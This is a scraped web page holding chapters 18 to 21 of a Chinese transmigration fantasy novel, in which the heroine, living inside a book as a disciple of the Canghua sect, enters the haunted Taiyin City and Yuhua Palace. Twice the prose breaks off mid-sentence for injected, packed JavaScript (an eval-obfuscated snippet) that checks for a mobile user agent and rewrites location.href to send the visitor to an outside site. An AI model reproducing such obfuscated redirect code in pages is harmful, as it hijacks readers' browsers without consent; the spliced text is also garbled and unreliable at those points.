云船的速度非常快，想象中的漫游云间根本就是无稽之谈。 更重要的是，常栩才知道，许长生一个修仙的人，竟然晕船！难怪刚才谢千景欲言又止，原来是在这儿等着她呢！ 云船飞驰而过，原本四五天的路程只用了不到一个时辰。常栩扒在栏杆上俯瞰下方，视野中出现了熟悉的焕山城。 再向东望去，原本该是太阴城的地方，却只有一团黑气。 仿佛大火过后弥漫的硝烟，从那座城池冲天而起，遮蔽了视线，黑漆漆一片，根本无法看清里面的情况。 云船在此时发出剧烈的晃动。庚微提醒道：“太阴城到了，快下去，云船受到影响，无法再前进了。” 常栩并未多问，运转灼华令，足下轻顿，便从甲板上一跃而下。 下坠的气流吹散了先前的晕眩之感，幽蓝的焰火在空中留下一道羽翼似的残影，伴随她落到地面。 此时的太阴城外已经聚集了不少修真人士，见他们从云船上下来，纷纷投以注视。 庚微身为苍华派的长老，显然与不少人都相识，各自行礼，寒暄了几句。 常栩的脸上没什么表情，不动声色地听着，一一看过去，知道这些人分别来自天元宗、伏幽派，还有几个小有名气的散修。 天元宗的领头人是名沉稳的女子，并没因为苍华派是个小门派就轻视，行礼道：“天元何向悠，多谢苍华派相助。” 庚微说：“客气了，苍华也有弟子陷在里面。况且除邪是修仙之人的责任，不必言谢。” “我天元也有弟子在其中。”何向悠看了眼天色，忧心道，“事不宜迟，我们这便进入吧——” “等一等！”常栩道，“青离宫的人还没来。” 她才开口，有人嗤笑一声：“我当是谁呢，这不是长生姑娘吗，许久不见，你的伤终于好了？” 顺着声音看过去，一名披着的黄袍道士继续道：“你不敢进去，难道是怕了？我还记得，你上次出任务，可是被邪祟所伤。所以才要等人来，否则没胆子进入——” 常栩问：“你是哪位？” 黄袍道士：“……” 庚微皱眉道：“寄浮散人，请你自重。” 寄浮散人以为常栩是在装模作样，哼了一声：“真是贵人多忘事，那好，我就来提醒你，也让诸位都知道。” “一年多前，这位苍华派的大师姐去到芥微之境诛邪，我不过是见她实力有限，好心提醒，她却以为我瞧不起她，偏要逞强，结果被魔族所伤，险些丧命。你们说，这算不算是不自量力？” 此言一出，所有人都看向常栩。 除了天元宗和伏幽派两个大的宗门，其余的修士多从附近赶来，他们或多或少都听过有关苍华派的事情，知道许长生“暴君”名声在外，却只能在门派里作威作福。 是以，听见寄浮散人这么说，不少人都摆出好整以暇的姿态，准备看她的笑话。 常栩若有所思。 原著提到过，一年多前，许长生和韩尚同共同到芥微之境执行任务，她本就因为韩尚同的实力而心有不甘，被带队的散修一刺激，独自走了最危险的道路。 那散修不安好心，有意害她在里面迷路，若非遇到宣凌，恐怕真有可能殒命在里面。 这些事情，苍华派的人并不知道，甚至连许长生本人也只以为是自己倒霉。 但常栩身为读者，清楚地记得是谁从中作梗。 寄浮散人上次羞辱许长生，在众人面前出了不小的风头，这次也故技重施，借着踩苍华派抬高自己。 “我看啊，今日这太阴城，许姑娘就莫要进去了，免得在里面受了伤，再回不息山躺上一年，哈哈哈……” 寄浮散人兀自得意，笃定常栩会忍气吞声，忽地，一道剑光袭来，再次打断了他的话。 常栩神色未变，只是看着手中的剑，漫不经心地想—— 她都穿越成许长生了，这不趁机仗势欺人一般，岂不是让“暴君”之名落了空？ 19. 第十九章 太阴城 就在常栩出手的同时，寄浮散人也挥袖出招。 他知许长生实力一般又沉不住气，定然受不了这般挑衅，如此一来，他就能名正言顺地教训她了。 然而，招式相接，常栩却并非寄浮散人预想中的不堪一击。 浑厚的灵力挡住了他掌力，一股炽热的气息随之传来。 寄浮散人瞳孔一缩，还没反应过来，少女轻盈的身形跃起，毫不客气地踹在他的胸口。 他因大意而躲闪不及，只觉身子一沉，不得已后退避开。 这一切发生在须臾之间，待到众人回过神来，寄浮散人已经飞出去几丈远，险些摔了个狗啃泥，十分狼狈。 常栩装模作样地拍了拍衣摆，好整以暇道：“晚辈这一年精进了不少，倒是前辈怎么如此不堪一击，一会儿可怎么进城啊。” 寄浮散人堪堪稳住身形，听到她的话，脸上有些挂不住了：“臭丫头，你什么意思？” “听不出来吗？我是在担心前辈啊，怕您一不小心折在里面。您都这么大岁数了，多不值当。” 常栩这话说得一脸无辜，又想起来什么，问道：“不过说起来，前辈这种修为都想进城，我有什么不敢的？我才刚到，不过是想等几刻而已，前辈来得更早，想必已经等了有几天了，为什么不在我们之前进入呢？是不想吗？” 短暂的沉默过后，人们看向常栩的目光多了几分讶异和惊叹。 寄浮散人修行多年，在修真界颇有资历，即便是天元宗的人见了他都要给几分薄面，还从未受到过如此羞辱。他被气得脸色铁青，当即就要拔剑。 其他散修见状，忙上前拉住他，劝他别和晚辈一般见识。 “是啊，寄浮小友，何必与小姑娘计较，平白失了身份。” 高高在上的声音从头顶传来，常栩眉头一皱，顺着声音抬眼望去，原是青离宫众人姗姗来迟。 【叮！任务节点完成，您获得50点羁绊值，请注意查收！】 伴随着系统提示音，常栩看到了宣凌和岳婉吟的身影。 为首的杜泽良落到地面，像是才注意到她，斜斜地瞥了一眼：“又是苍华派的人？” 寄浮散人松开了剑柄，瞪着常栩道：“是啊，苍华派的人。我算是见识到了，实在是没有礼数，怪不得这么多年一事无成。” 闻言，杜泽良看了一眼宣凌，凉凉道：“这话说得倒是不错。” 听到这两个人旁若无人的嘲讽，庚微皱着眉头，碍于身份不好发作。其余弟子虽有不满，一时之间不知怎样反驳。 常栩想起之前在焕山，杜泽良这老小子就曾对苍华派出言不逊。她可还记着仇呢，忍不了一点，上前一步道：“苍华派的人有没有礼数，恐怕轮不到杜长老管教，就不劳您越俎代庖了。” 杜泽良愣了一下，神情不悦道：“你是谁的徒弟？” 寄浮散人：“还能是谁？当然是大名鼎鼎额苍华派小暴君了。我说杜长老您可小心，这丫头心黑手狠，小心着了她的道。” 杜泽良哼道：“早就听闻苍华派的许长生作威作福，果然不假。苍华就是这么管教弟子的？一个两个，都目中无人。” 他说的自然是负责护送岳婉吟的宣凌。 常栩神态张扬，笑着道：“宣凌是我师弟，自然学得我的本事，长生在此，多谢夸赞。” 杜泽良说不过她，脸上青一阵白一阵，转而看向庚微：“你就放任这丫头如此放肆？” 庚微收敛了嘴角的笑意，正色道：“青离宫是大门派不假，我们苍华却也不是趋炎附势之徒，非要对你们俯首帖耳。杜长老，与其计较些没用的礼数尊卑，不如早些齐心协力，才好尽快将城内的人救出来，不是吗？” 何向悠点了点头：“没错。这太阴城凶险，只能从城门进入，又似乎有危险的阵法，需要诸位凝神应对。” 有天元宗打圆场，杜泽良和寄浮也都不再说什么，结束了这一段不愉快的小插曲。 趁着几大门派讨论如何进入太阴城，常栩将站在一旁的宣凌招呼到面前，旁敲侧击打探他这几天和岳婉吟相处得如何。 宣凌小声道：“请师姐放心，岳姑娘只当韩师兄是普通朋友，没有什么别的想法。” 常栩眨了眨眼睛：“什么？” 宣凌一脸单纯：“师姐不是想知道岳姑娘和韩师兄的关系吗？难道我理解错了？” 常栩：“……” 倒也不能说错，但好像哪里怪怪的……其实她更想知道宣凌和岳婉吟的关系。 但是很显然，这小子装模作样，顾左右而言他，看样子不会老实回答了。 常栩只能暗自揣摩，既然原著中设定了一见钟情，虽然出了些许差错，但相处这么多天了，应该……已经喜欢上了吧？ 这时候，韩尚同也走了过来，问起宣凌这几日的经历。 宣凌轻咳一声：“师兄想知道，不如让岳姑娘亲自讲与你听。” 韩尚同不解其意，随即就看到岳婉吟款款走来，微笑道：“韩公子、长生姑娘，我们又见面了。你们在说些什么？” 常栩打量面前这三个人，嗅到了修罗场的气息。她无意掺和进去，摆了摆手，正要找借口离开。 系统的声音再次响起：【宿主注意，下一剧情点为：与岳婉吟争风吃醋，推进男女主的感情。】 常栩：“……” 这种剧情有存在的必要吗？ 太阴城共有七个城门，这几日都紧闭着，无法进入。此时，黄昏的阳光投下，朝西的端阳门发出了一声沉重的声音，似乎有什么东西掉下去了。 嘎吱一声，沉重的城门便宜了几寸，露出缝隙。像是一个陷阱，无声地引诱人进去。 正在商量对策的众人都注意到了城门的情况，一时噤声，随后纷纷赶到端阳门前。 伏幽派的长老叶长秋凝神探索，片刻之后摇了摇头，说仍是完全感应不到城内的情况。 何向悠踏前一步，被身后的天元弟子拦住，谨慎道：“师叔，还是再看看吧，可能会有危险。” 僵持之际，寄浮散人出声了，颇为阴阳怪气：“许姑娘刚才那么威风，不如让苍华派打头阵吧！” 常栩不屑地哼了一声：“进去就进去，以为我和你一样胆小吗？” 见苍华派众人毫无惧色，何向悠和叶长秋对视一眼，眼中流露出赞赏，以为这位苍华派的大师姐确实胆色过人。 常栩问身后的弟子们：“你们敢不敢跟我进去？” 角落里的江霓弱弱地举起手：“那个，我就不——” 话还没说完，陆小满一把捂住她的嘴，高声道：“有大师姐在，我们没什么不不敢的！”其他人也纷纷附和，唯有江霓欲哭无泪。 在众人的注视之下，苍华派众人缓缓走上前。 看着冒着浓重黑气的端阳门，常栩面不改色地说：“韩尚同，你先进去看看。” 这种时候，当然需要男主来发挥作用了。 韩尚同迎着常栩信任的目光，只略微迟疑了下，便坚定点头：“遵命。” 他大步流星走到端阳门前。 庚微皱眉道：“不行，怎能让他一个人……” 话音未落，“嘎吱一声”，韩尚同已经推开了端阳门。 同一时间，凝固在城外的黑气开始流转，原本禁锢其他城门的阵法也消失了。 叶长秋感应到了什么，惊奇道：“太阴城的禁制解开了！” 然而下一刻，紫色的光芒一闪而过，端阳门内，韩尚同的身影已然消失不见。 由于太过无声无息，众人都警惕起来，唯有常栩神色如常。 和原著一样，韩尚同在进城之时走了专门的剧情线，被传送到了别的地方。 至于他们这些配角，还是得按部就班一步步闯关。 常栩对庚微长老说：“韩师弟不会有事。他气运不凡，此番定有奇遇，不必挂心。” 这番话神神叨叨，但见她一副煞有介事的模样，庚微长老只能半信半疑地点点头。 一旁的宣凌默默打量常栩，漫不经心地想，没想到她这么相信韩尚同。 既然禁制解开了，几大门派的弟子们不再迟疑，同时出手。在众人合力之下，太阴城外围的黑色死气很快被驱散。 何向悠、叶长秋和杜泽良各自留下少数弟子守在城外，其余的人悉数踏入太阴城。 然而，出乎意料的是，当众人踏入端阳门、走进太阴险，入眼的却并非想象中的灾厄，而是一片祥和—— 欢声笑语在耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362909|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边炸开，金色阳光笼罩的街道上人头攒动，热闹非凡。 看到这一幕，所有人都被震慑住了。 由于眼前的景色太过正常，回过神来，有人不确定地问道：“莫非是我们搞错了？好像没发生什么事儿……” 何向悠也有些拿不准，她神色凝重：“有天元弟子就在太阴城内，需要找到他才知道情况究竟如何。” 庚微说苍华弟子也在城内。于是简单合计了下，决定分开查探情况，天元和苍华一路找人，其他门派则去调查城内有无邪祟。 目前仅有的线索就是庚微手中的传音石。在他们进城之后，断断续续传来那名弟子的声音。 不知道是不是信号问题，无论庚微问些什么，对方都只回答一个地点：“东边……玉华宫……” 庚微和何向悠带着众人走到太阴城东，却并未看到什么宫殿，只有一座荒无人烟的乱葬岗。 江霓看到这个差点混过去，一个踉跄倒在陆小满身上。众人面面相觑，每个人的脸上都浮现出不安。 常栩表面镇定，心里也有些发憷。《诛天》的剧情主要跟着韩尚同走，这边的情况几笔就带过了，她还真拿不准。 原著中的太阴城副本，简单来说就是一个携带怨气的女鬼要献祭全城，设下了无数阵法，害得众人陷入幻境—— 常栩想到了什么，她让弟子们注意查探城内的告示、文册等书籍，很快确定了一件事。 这里的时间定格在了一年以前。 天元派的人想起一件事。 一年以前的某个夜晚，有人看到升起了大火，但到了第二天又没留下什么痕迹。因为这个地方经常出现类似海市蜃楼的幻境，也就没什么人在意。 何向悠和庚微反应过来，询问弟子们有谁最近一年来过太阴城。众人稍微回忆了下，皆露出迷茫的神色，似乎什么都不记得。 “白师兄？师叔，是白师兄！” 天元宗的弟子看见什么，拽住一个行色匆匆的男子，那正是他们要寻找的弟子。 何向悠稍微放下心来，问道：“定源，究竟发生何事了？” 名为白定源的弟子一脸不解：“何师叔？你们怎么来这里了？也是为了参加庆典吗？” 天元宗的弟子们莫名其妙：“分明是你要我们快些来找你的，怎么反而问我们？” 白定源摇了摇头：“不可能。我在这里忙祭典的事情，脱不开身，根本没联系门派。” 何向悠问：“这几日太阴城的城门关闭，我们以为出了事儿，你难道不知道吗？” 白定源：“是吗？我一直没有出城，没怎么注意。” 常栩忽然问：“是什么庆典？” 听她问起，白定源来了兴致，说：“为了祭祀庇护太阴城的神灵，就在这个黄昏，所有人都会举起火把，彻夜点燃。届时，神就会降临。” 陆小满道：“师姐，他说的应该是太阴城的传统节目黄昏祭典，不过这活动三年一次，上次是一年之前，怎么这么快——” 几乎所有人都反应过来了——不只是书籍，这里所有的一切都停在一年以前。 倏地，巨大的钟声响起，夜幕彻底降临，太阴城内一瞬间寂静了下来。 何向悠与庚微对视一眼，当机立断，伸手制住白定源，手中汇起清圣灵力，抚在他的头顶。 白定源挣扎一会儿，目光渐渐由迷茫转为清明，脸上随即爬满了痛苦的狰狞。 他拼着最后一丝力气，紧紧抓着何向悠的手，艰难道:“师叔、快逃，这里……有……” 下一刻，白定源惨叫一声，倒在地上，身上不知何时出现的伤口迅速恶化。不多时，竟然没了气息。 “定源！” 何向悠心神大乱，跪在地上尝试医治，然而很快发现，白定源早就没了体温——至少在三天前，他就已经死了。正是他最后联系天元宗的时候。 来不及多想，伴随悄然笼罩的瘴气，周围很多人陆续发出惨叫，和白定源一样，扭曲不过片刻就变成了尸体。 而那些仍然还站立的人，也仿佛失去了魂魄，脸上没了表情，瞳孔之中漆黑一片。 一片死寂之中，唯有庚微手中的传音石反复说着：“东边，玉华宫……东边，玉华宫……” 20. 第二十章 英雄救美 浓重的瘴气霎时弥漫开来。 来不及多想，苍华拍和天元宗的弟子们各自汇集在一起，不断后退，躲避从四面八方赶来的活尸。 庚微看了一眼众人，当机立断道：“流月阵！” 众人心领神会，同时唤出佩剑查到地面，低声吟诵口诀。常栩早有准备，主动站到庚微身侧，协助他开启阵法。 流月阵以月华为引，随着灵力的催动，在众人身前形成了银白色的屏障，如同一片轻纱。 有了阵法的阻挡，活尸暂且无法接近众人。 可还没等他们松一口气，四周的瘴气进一步弥漫，有些已经渗入了流月阵中。 在涌动的活尸群中，常栩看到了熟悉的身影。那是她远在二十一世纪的亲人和朋友，正静静凝望着她，对她伸出手。 纵然知晓是假的，常栩仍然忍不住失神片刻。 自从穿越开始，常栩就知晓自己的人生已然分离。这件事是如此突然，以致于她不敢留心去想，只当自己坠入了不知何时醒来的长梦，总有回到现实的一天。 然而此时，这些深埋心底的隐痛，猝不及防地敲击了她的内心。 这大概就是太阴城幻境的可怕之处。 纵然知晓是假的，常栩仍然忍不住失神片刻，想要多看一眼、再看一眼，牢牢记住那些人的模样，害怕自己终有一日会忘记。 “师姐？” 常栩听见了宣凌的声音。 她知道不能放任知己沉溺过去，下定决心，闭上了眼睛。再度睁开，已是心如止水。 苍华派的众人大概也看到了类似的幻觉，庚微因其要维持流月阵，只能勉力抵挡。弟子当中，除了宣凌和沈星河，其他人的情况都不乐观。 江霓惨白着一张脸蹲在地上，捂着耳朵说与我无关与我无关。 陆小满少见地露出凶狠的目光，喃喃道：“你已经死了，你不可能——” “小满！” 常栩用带着灵力的声音提醒，陆小满迷茫地看了常栩一眼，唤了几声“师姐”，但还是无法凝神。 看着眼前乱作一团的场景，常栩问系统说怎么这么高难度，明明只是个女鬼而已，原著中好像没这么多花里胡哨的啊？ 系统：【此事与宿主不无关系。】 “我？”常栩愣住了。 确切地说，是与她的奉月族体质有关。这群迷失的灵魂被困在半死的躯体之内，急需寻找有益的血肉，而奉月族无疑是最好的选择。 常栩不由得无语。 《诛天》世界中的奉月族真是工具属性拉满，是妖是鬼都想尝两口。 深吸一口气，偶然暼见旁边的宣凌，常栩突然想起一件事来——对了，她不是已经获得名为“其利断金”的一星福利了嘛！ 这种绝佳buff，此时不用，更待何时！ 然而系统回答：【抱歉，条件不满足，无法开启。】 常栩疑惑：“不是说齐心协力就可以……嗯？” 她猛地反应过来，扭头直勾勾盯着宣凌。 宣凌几乎同时抬起眼睛，见她黑着一张脸，无辜地眨了眨眼睛，关切道：“师姐怎样了，您还坚持得住吗？” 常栩深吸一口气。 也就是说，宣凌这小子看似与她同心退敌，实际上并没有拼尽全力，根本就是在划水！ 系统贴心补充道：【没错。而且还请宿主注意，尽量不要单独与宣凌在一起，他有可能对您不利哦~】 常栩：“……” 她前几天作为“裳儿”和宣凌相处得太好了，一时间有些得意忘形，险些忘了，他可是无时无刻不惦记着杀许长生呢！ 前有丧尸大军前仆后继，后有宣凌虎视眈眈，常栩觉得压力山大，额头上渗出不少汗水。 几刻钟之后，眺望着层层叠叠、仿佛无穷无尽的活尸众，常栩觉得照这样下去迟早会灵力耗尽的，必须得做些什么。 “宣凌，护好众人。”常栩冷不丁开口，吩咐宣凌站到她的位置，“你在此协助庚微长老维持住阵法。” 宣凌的眼中闪过一丝愕然，似乎茫然无措：“我吗？” 一旁的沈星河见状，主动道：“师姐，还是让我来吧，师弟可能……” “不，就让宣凌来。” 常栩将宣凌拉到身边，目光严肃，语气不容置疑：“众人的安危就交给你了。我相信你，不要让我失望。” “师姐要做什么？” 宣凌轻声问道，并没有得到回应。因为常栩已经与他擦肩而过，头也不回地冲出了流月阵。 “师姐！” “长生！” 苍华派的众人未曾料到此举，连忙呼唤。然而少女的背影分外坚决，轻轻一跃，便没入活尸群中，唯余发间一道幽蓝微光。 庚微长老见众人分神，沉声道：“专心！” 沈星河看到常栩离开，下意识地想要追出去，却被一道剑气阻拦。 宣凌的语气中流露出几分冷淡与不耐：“沈师兄，外面危险，还请不要轻举妄动。” 一走一停间，常栩的身影已经彻底消失在了活尸群中。 沈星河只得继续维持阵法，心焦之余，后知后觉地有些疑惑，宣凌方才的态度似乎十分冷淡，与平日大不相同。 不过此地怪异，他只当是幻境影响了心神，并未太过在意。 宣凌一边维持阵法，一边看着常栩离开的方向，眸光幽深。 他想起方才许长生眼中坚定的信任，明亮得炽人，无形中消弭了他心头的杀意。 原本，宣凌只是冷眼旁观，有意放任这群活尸拖垮许长生——二人当初的契约只让他无法亲手杀之，但他可以借刀杀人。没有比这更好的机会了。 是试探吗？这女人一直怀疑他来路不明，与魔族有关。可若如此，代价未免有些太大了—— 太阴城内活尸成群，离了流月阵，一旦受伤，很有可能被活尸身上的瘴气邪毒侵染，危险万分。 宣凌第一次发现，他似乎并不了解许长生。 很快，不少活尸感应到常栩的气息，陆续从流月阵外退开，追逐在她的身后。 苍华派众人的压力顿时小了许多，其余的人逐渐从幻觉之中清醒。 陆小满睁开眼睛便问：“大师姐呢？” 得知常栩竟然独自离开阵法引走活尸，她急得直跺脚，恨不得马上出去找人。 庚微这时候说道：“阵法就快成了，先压制活尸。莫让长生前功尽弃。” 弟子们又感动又惭愧，纷纷拿出十二分力气，就连一直缩手缩脚的江霓也站了起来，颤颤巍巍用受伤的手指画了几道符咒。 在众人齐心合力之下，流月阵内顿时金光大盛，与银色的月华相互交织，总算让活尸们的动作停了下来。 庚微收起灵力，解除了流月阵。附近的天元宗也在此时成功控制住活尸，正在进行简单的疗伤。 “师姐去了哪里？” 陆小满焦急地询问，沈星河皱着眉，缓缓摇头：“我不知道。” 此时的太阴城一片漆黑，连路都看不清，遑论在一众活尸之中找人了。 庚微拉住横冲直撞的陆小满，道：“冷静些。众人莫要走散了。你们留在此地，我去寻找长生——” 这时候，宣凌抬起眼眸，望向某个方向，不知为何，似乎感应到了熟悉的灵力波动。 未及多想，他看了眼方才被常栩抓过的手腕，纵身跃起，一言不发地寻了过去。 其他人都对宣凌的行为感到意外，庚微头疼地发现这也不是个让人省心的，又怕他出什么意外，只得带着众人跟上他。 * 相比苍华派，常栩这边可就不容乐观了。 她之所以跑出来，主要是因为，按照小说定律，这种局面唯有主角可以破解。她打算将这群活尸带到韩尚同那里，蹭一蹭主角光环。 结果出来才发现，太阴城环境复杂，根本辨不清方向。常栩就像个无头苍蝇乱转，很快就迷了路。 而在她的身后，几十名活尸死死跟着他，紧追不舍。 常栩这辈子头次被这么多人追，苦中作乐地觉得自己仿佛大明星——只不过她的粉丝是真·□□粉，巴不得生吞活剥吃了她的那种。 这群活尸还残存着些许意识，并未彻底死去，也许事后还有机会恢复。 是以，常栩不赶下重手，只能一直躲避，还要同时分心抵御幻境袭击，一心二用，很快感觉灵力将尽。 突然， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362910|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一名会法术的活尸悄无声息地闪身而来，尖利的指甲划破了常栩的手臂。 她这才反应，一掌将活尸击退，但为时已晚。手臂传来刺痛，渗出了鲜血。 常栩啧了一声，下山之前信誓旦旦答应了谢千景不会受伤，这便食言了，以后岂不是真的不能下山了？ 想到此处，她不由得有些焦躁。 身后的活尸似乎被同伴鼓舞了，更加凶猛地追了上来。 眼看又被抓住了衣袖，常栩被危机感激得下意识运出灼华令，炽热的火焰短暂地照亮了雾气沉沉的夜晚。 这群活尸见了火焰，原本僵硬的脸瞬间浮现出刻骨的恐惧，齐刷刷地尖叫、哀嚎，简直是魔音贯耳。 常栩未曾料到还有这种攻击，脑袋嗡嗡的，充斥着耳鸣。 她心中烦躁得不行，咬牙跃上半空，盯着下面，打算将这烦人的家伙一把火全烧了。 这时，清心的琴声沁人心脾、驱散了阴霾和死气，紧追不舍的丧尸们的表情转变为迷茫，慢慢停下了脚步，站在原地。 同时清风袭来，耳边响起韩尚同的“师姐！” 常栩猛地回过神来，赶紧松开手——她刚才被影响了，差点就杀了无辜之人。 目光瞥到侧后方有两道身影，正是毫发无损的男女主二人。 常栩心思一动，收回了即将出手的招式，装出一副体力不支的样子，闭眼从半空中坠下。 不出意外的，韩尚同张开手臂接住了她。落到地面，他关切问道：“师姐你怎样了？” 岳婉吟在控制住活尸之后也赶了过来，蹙眉道：“长生姑娘受伤了，我这就帮她驱散邪毒。” 常栩心想这可不行，马上睁开眼睛，冷淡地说：“不劳岳姑娘费心，让韩尚同来就好。” 岳婉吟一脸疑惑：“有何不可？” 常栩心里感慨，岳婉吟真的是字面意义上的纯洁圣母，心地善良又单纯过了头，连她这个态度恶劣的“情敌”都能毫无芥蒂。 如此对比，许长生这都下得去手，落得那个下场也是活该…… 可惜，为了做那个该死的任务，常栩只能冷眼相待：“你是青离宫的认，身份尊贵，不敢劳烦。” 这话说的有几分阴阳怪气，岳婉吟再迟钝也能感受到，不由得神情有些落寞。 韩尚同忙安慰说：“岳姑娘莫要多想，只因青离宫毕竟与苍华派功法不同，还是我来比较合适。” 岳婉吟这才勉强笑了：“那好，我为你们护法吧。” 疗伤需要面对这么席地而坐，常栩看着对面的韩尚同，简直不知道眼睛该往哪儿看。 独属于男主的俊脸于“许长生”而言仿佛自带魅惑光环，多看一眼就忍不住沉迷。 常栩心里暗骂这个破系统有毒，明明让她攻略宣凌，偏偏穿成了喜欢男主的许长生，害她做任务之余还要时刻提防，以免被男主光环蛊惑…… 好在很快，随着身上的疼痛减轻，系统也传来通报：【叮！任务节点完成！您获得30点羁绊值，请注意查收！】 常栩马上麻溜地收回手，从地上爬起来：“好了，可以了。” 韩尚同愣了一下，起身问道：“师姐感觉如何？” 常栩不敢看韩尚同，只说：“已经无碍了。” 男主的杀伤力太强了，才这么一会儿，她就感觉耳根发热，再相处下去可要出大事了。 好在此时有夜色掩盖，周围只有丧尸，没别的什么人—— 然后，她看到，就在他们身后不远处，苍华派、天玄宗、青离宫的人已经陆续赶到，十几双眼睛直勾勾盯着他们三人。 常栩：“……” 丢人丢大了。 率先赶到的宣凌站在苍华派众人身前，抱剑而立，借着偶尔掠过的月色，看清了常栩脸上浮现的绯红。 此时她发丝凌乱，少了平日里的一丝不苟，仿佛多了几分柔情。 “师姐。” 宣凌轻声开口，声音并不算大，更像是随口的呓语。 然后少女转头望了过来，那双眼中的温和来不及散去，一并落在了他的身上。 “宣凌！” 令宣凌意外的是，常栩竟然毫不迟疑地回应了他，向他走了过来。 21. 第二十一章 玉华宫 常栩因为耗费灵力过多且受伤，而有些虚弱。 她可不想再靠近韩尚同，第一个想到的就是让宣凌照顾她。 许是受了邪毒的影响，常栩这会脑袋不大清醒，无意识地又把自己当裳儿了，熟练地靠了上去，说宣凌，你来扶我。 她的脸色略显苍白，垂下的发带缠着发丝，拂过宣凌的颈侧，柔和得不可思议。 宣凌他低下头，意外自己竟然并未觉得厌恶，反倒在这一瞬间感觉到了微妙的熟悉。 陆小满和沈星河随后围了过来，一同运功帮助常栩恢复灵力。 此时，太阴城内的活尸群基本上都被控制住了，众人设下阵法，让他们悉数沉睡。随后，各门派短暂地原地休息，同时寻找方才失散的弟子们。 目前的情况很不乐观。除了擅长驱邪净心的青离宫之外，天元宗和伏幽派的弟子都出现了伤亡。 何向悠面色沉重，认为是自己的疏忽害死了弟子。她不想让剩下的人再继续涉险，有意抽身离去。青离宫向来以天元宗马首是瞻，杜泽良本就无心插手此事，便跟着附和。 伏幽派的领头人却不认同，道：“依我看，幻境即破，活尸也被控制，最危险的情况都已过去了。怎能止步于此，岂不是半途而废？” 以寄浮散人为首的散修也想要继续查探。他们本就是为太阴城内的秘境而来，同伴的死亡并不能阻止他们的脚步。 双方一时陷入僵持。常栩见庚微面露犹疑之色，轻声提醒道：“师叔，莫要顾念我们。师弟尚未寻得，不能就这么不明不白地离开。” 其余的弟子纷纷表示认同，就连一向最为胆怯的江霓都没表示反对。 何向悠仍是心存忧虑，陷入沉思。 这时候，韩尚同从人群中走出，高声道：“前辈，请听我一言。弟子在进城之时曾跌入幻境，得知今夜过后，太阴城将会再次陷入沉寂，无法进入。机不可失，还请前辈三思。” 听了他的话，众人再次议论起来。 常栩则陷入沉思。她之所以主张继续探查，并非全是因为任务。 今夜发生的很多事情都出乎她的预料。 原著中，太阴城副本的大多数剧情都是幻象，被困之人最多昏睡或神志不清，绝非如今这般死伤惨重，仿佛误入什么b级片的片场。 就算小说和现实之间存在细节上的差异，也绝不该这么大。 这类原著剧情之外的展开，就算问系统也没个结果。常栩只知道，如今太阴城那么多人变成活尸，拖得越久，生还的希望就越渺茫，必须尽快解决。 在众人的注视下，天元宗终于做下了决定。何向悠说：“诸位都如此说了，天元怎可落于人后。除邪救民本就是天元的责任，自然义不容辞。” 杜泽良也说：“好，那就进去。我到要看看是什么东西在装神弄鬼。” 话音刚落，庚微手中的传音玉牌再次响起，仍是重复的话语：“师尊……师尊……东边，玉华宫……东边，玉华宫……” 所有人的目光都向东望去，看向了黑气最为浓郁之地——不知何时，那里赫然耸立着一座城池。 “出现了。” 各宗门留下受伤的弟子在原地待命，余下的人成群走了过去，慢慢靠近。 很快，常栩看到了古朴的城墙，略显残破，似乎被风沙侵蚀良久，留下了岁月的痕迹。 她莫名觉得这地方有些眼熟，询问苍华派诸人是否在哪里见到过，就连最见多识广的庚微都说没印象。 隔着人群，宣凌和岳婉吟对视一眼，神情凝重。 走到靠近城门的地方，众人自觉为韩尚同让出一条路来。 他手持方才在幻境中得到的令牌，刚一亮出，漆红的大门便仿佛有感应一般，缓缓打开了。 一股阴冷的风从幽深的长巷中吹来，带着陈朽的气息。 常栩觉得这里应该是一座皇宫，只是空无一人，像是废弃了，或是被人遗忘了。 严阵以待的众人们小心走着，却始终没有见到异常。 巷子仿佛没有尽头，高大残旧的宫墙遮蔽天空，只余下方寸微光，带来了难以言喻的沉闷压抑。 无人说话，每个人都放轻了脚步，似乎怕惊扰些什么。 终于，一座富丽堂皇的宫殿进入到众人的视野。 常栩停下脚步，抬起头，不出意外地看见牌匾上赫然勾画的三个大字——玉华宫。 像是有感应一般，宫殿的大门无风自动，敞开在众人面前。待到看清里面的场景，饶是有心理准备，常栩还是忍不住倒吸了一口气。 这是一座燃烧的宫殿。 院中跪满了人，无论是宫女还是太监，都穿着死者的寿衣，保持着五体投地的姿势，恭恭敬敬朝拜一个方向。 顺着这个方向，最中央的高台之上，唯一的戴孝之人，是一名衣着华贵的少女。 无声无息的火舌点燃了丝绸、裙摆，空中漂浮着漆黑的灰烬，渐渐吞噬了宫殿内的每个人。然而诡异的是，这些人都沉默地忍受着这场灼烧，没有哀嚎，死寂一片。 这一幕似真似幻，让众人一时恍然，不知自己置身何地。 很快，有人反应过来，压低声音道：“这莫非就是传闻中的那个女鬼？” “我听说，几百年前，太阴城内有一女子遭到了负心汉的欺骗，最后怀着怨恨自焚而死。这也正是太阴城幻境奇观的由来。” 常栩听着这个说法，倒是和原著提及的故事如出一辙。但是谁能告诉她，为什么这女鬼会出现在皇宫里，看这样子根本就是一位公主啊？ 是她看漏了吗，还是说《诛天》中的女鬼都是这么高规格的？ 